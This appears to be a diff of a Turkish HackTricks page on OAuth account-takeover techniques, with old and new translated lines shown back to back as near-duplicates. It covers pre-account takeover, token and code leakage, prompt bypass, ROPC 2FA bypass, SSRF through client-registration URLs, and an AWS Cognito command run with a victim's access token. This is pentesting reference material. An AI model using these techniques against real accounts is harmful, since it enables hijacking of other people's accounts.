### Hesap Ele Geçirmeden Önce <a href="#ebe4" id="ebe4"></a>
1. **Hesap Oluşturma sırasında E-posta Doğrulaması Olmadan**: Saldırganlar, mağdurun e-posta adresini kullanarak önceden bir hesap oluşturabilir. Eğer mağdur daha sonra bir üçüncü taraf hizmeti ile giriş yaparsa, uygulama bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla yanlışlıkla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla.
2. **Gevşek OAuth E-posta Doğrulamasını Kötüye Kullanma**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini kötüye kullanarak kendi hizmetleriyle kaydolabilir ve ardından hesap e-posta adresini mağdurunki ile değiştirebilir. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimi riski taşır, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
### Gizli Bilgilerin Açığa Çıkması <a href="#e177" id="e177"></a>
@ -123,27 +123,27 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
Müşteri **kod ve durum** bilgilerine sahip olduğunda, eğer bu bilgiler **Referer başlığında yansıtılıyorsa** ve farklı bir sayfaya göz atıyorsa, o zaman bu açık durumdadır.
Müşteri **kod ve durum** bilgilerine sahip olduğunda, eğer bu bilgiler **Referer başlığında yansıtılıyorsa** ve farklı bir sayfaya gittiğinde, o zaman bu açık durumdadır.
### Access Token Stored in Browser History
### Tarayıcı Geçmişinde Saklanan Erişim Token'ı
**Tarayıcı geçmişine gidin ve access token'ın orada kaydedilip kaydedilmediğini kontrol edin.**
**Tarayıcı geçmişine gidin ve erişim token'ının orada kaydedilip kaydedilmediğini kontrol edin.**
### Everlasting Authorization Code
### Süresiz Yetkilendirme Kodu
**Yetkilendirme kodu, bir saldırganın onu çalabileceği ve kullanabileceği zaman penceresini sınırlamak için sadece bir süre boyunca geçerli olmalıdır.**
### Authorization/Refresh Token not bound to client
### Yetkilendirme/Yenileme Token'ı istemciye bağlı değil
Eğer **yetkilendirme kodunu alabilir ve bunu farklı bir istemci ile kullanabilirseniz, diğer hesapları ele geçirebilirsiniz.**
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
[**Bu yazıyı kontrol edin**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
[**Bu gönderiyi kontrol edin**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
### AWS Cognito <a href="#bda5" id="bda5"></a>
Bu hata ödül raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın, kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcı e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz.**
Bu hata ödül raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito** tarafından kullanıcıya geri verilen **token'ın** **kullanıcı verilerini üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, eğer **bir kullanıcı e-posta adresini farklı bir kullanıcı e-posta adresi ile değiştirebilirseniz**, diğer hesapları **ele geçirebilirsiniz.**
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -166,57 +166,61 @@ For more detailed info about how to abuse AWS cognito check:
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
As [**mentioned in this writeup**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth akışları **token** (ve kod değil) almayı bekliyorsa, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilirler.
[**Bu yazıda bahsedildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve kod değil) almayı bekleyen OAuth akışları, token'ın uygulamaya ait olduğunu kontrol etmedikleri takdirde savunmasız olabilir.
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Ardından, bir kurban **saldırganın uygulamasında** Facebook ile giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
Bu, bir **saldırganın** kendi uygulamasında **OAuth destekleyen ve Facebook ile giriş yapan bir uygulama** oluşturabileceği anlamına gelir. Daha sonra, bir kurban **saldırganın uygulamasında** Facebook ile giriş yaptığında, saldırgan **kullanıcının uygulamasına verilen OAuth token'ını alabilir ve bunu kurbanın OAuth uygulamasında kurbanın kullanıcı token'ı ile giriş yapmak için kullanabilir**.
{% hint style="danger" %}
Bu nedenle, saldırgan kendi OAuth uygulamasına kullanıcı erişimini elde ederse, token bekleyen ve token'ın kendi uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
Bu nedenle, eğer saldırgan kullanıcıyı kendi OAuth uygulamasına eriştirmeyi başarırsa, token bekleyen ve token'ın kendi uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
{% endhint %}
### Two links & cookie <a href="#bda5" id="bda5"></a>
According to [**this writeup**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması sağlanabiliyordu. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** **kullanıcıya** o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
[**Bu yazıya göre**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına işaret eden bir **returnUrl** ile bir sayfa açması sağlanabiliyordu. Bu bilgi **bir çerezde (RU)** saklanacak ve **sonraki adımda** **istem** **kullanıcıya** o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak bir **Oauth akışını** başlatmak için bir sekme açmak, istem gösterilmeden önce sekmeyi kapatmak ve o değeri içermeyen yeni bir sekme açmak mümkündü. Böylece, **istem saldırganın ana bilgisayarı hakkında bilgi vermeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token saldırganın ana bilgisayarına** yönlendirme sırasında gönderilecektir.
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
As explained in [**this video**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten oturum açmışlarsa webde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
[**Bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), bazı OAuth uygulamaları, kullanıcıların platformda zaten oturum açmışlarsa webde verilen erişimi onaylamaları için **`prompt`** GET parametresini None (**`&prompt=none`**) olarak belirtmelerine izin verir.
### response\_mode
As [**explained in this video**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), kodun son URL'de nerede sağlanmasını istediğinizi belirtmek için **`response_mode`** parametresini belirtmek mümkün olabilir:
[**Bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), kodun son URL'de nerede sağlanacağını belirtmek için **`response_mode`** parametresini belirtmek mümkün olabilir:
* `response_mode=query` -> Kod bir GET parametresi içinde sağlanır: `?code=2397rf3gu93f`
* `response_mode=fragment` -> Kod URL parçası parametresi içinde sağlanır `#code=2397rf3gu93f`
* `response_mode=form_post` -> Kod, `code` adında bir girdi ile bir POST formu içinde sağlanır ve değer
* `response_mode=web_message` -> Kod bir post mesajında gönderilir: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
[**Bu blog yazısına göre**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), bu, OAuth üzerinden **kullanıcı adı** ve **şifre** ile giriş yapmayı sağlayan bir OAuth akışıdır. Bu basit akış sırasında, kullanıcının gerçekleştirebileceği tüm eylemlere erişim sağlayan bir **token** dönerse, bu token kullanılarak 2FA atlatılabilir.
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**Check this research**](https://portswigger.net/research/hidden-oauth-attack-vectors) **For further details of this technique.**
[**Bu araştırmayı kontrol edin**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Bu tekniğin daha fazla ayrıntısı için.**
OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin ama kritik bir vektör olarak hizmet eder, özellikle **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırıları için. Bu uç nokta, OAuth sunucularının istemci uygulamaları hakkında, istismar edilebilecek hassas URL'ler de dahil olmak üzere, ayrıntılar almasına olanak tanır.
OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin ama kritik bir vektör olarak hizmet eder, özellikle **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırıları için. Bu uç nokta, OAuth sunucularının istemci uygulamaları hakkında, kötüye kullanılabilecek hassas URL'ler de dahil olmak üzere ayrıntılar almasına olanak tanır.
**Ana Noktalar:**
* **Dinamik İstemci Kaydı** genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve logo veya JSON Web Key Sets (JWK'ler) için URL'ler gibi ayrıntıları POST istekleri aracılığıyla kabul eder.
* Bu özellik, **RFC7591** ve **OpenID Connect Registration 1.0**'da belirtilen spesifikasyonlara uyar ve SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
* Bu özellik, **RFC7591** ve **OpenID Connect Registration 1.0**'da belirtilen spesifikasyonlara uyar; bu, SSRF'ye karşı potansiyel olarak savunmasız parametreleri içerir.
* Kayıt süreci, istemcileri birkaç şekilde SSRF'ye maruz bırakabilir:
* **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
* **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL, kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
* **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır, bu da SSRF fırsatı yaratır.
* **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, bu URI'ler yetkilendirme sürecinin başlangıcında sunucu tarafından alınırsa istismar edilebilir.
* **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL; bu, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
* **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL; kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
* **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır ve bu, SSRF fırsatı yaratır.
* **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler; bu, sunucu bu URI'leri yetkilendirme sürecinin başında alırsa kötüye kullanılabilir.
**İstismar Stratejisi:**
**Kötüye Kullanım Stratejisi:**
* SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü niyetli URL'lerle yeni bir istemci kaydederek tetiklenebilir.
* `request_uris` aracılığıyla doğrudan istismar, beyaz liste kontrolleri ile azaltılabilirken, önceden kaydedilmiş, saldırgan kontrolündeki bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
* `request_uris` aracılığıyla doğrudan kötüye kullanım, beyaz liste kontrolleri ile azaltılabilirken, önceden kaydedilmiş, saldırgan kontrolündeki bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
## OAuth providers Race Conditions
If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](race-condition.md).
Test ettiğiniz platform bir OAuth sağlayıcısıysa [**Olası Yarış Koşullarını test etmek için bunu okuyun**](race-condition.md).
## References
@ -228,8 +232,8 @@ If the platform you are testing is an OAuth provider [**read this to test for po
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>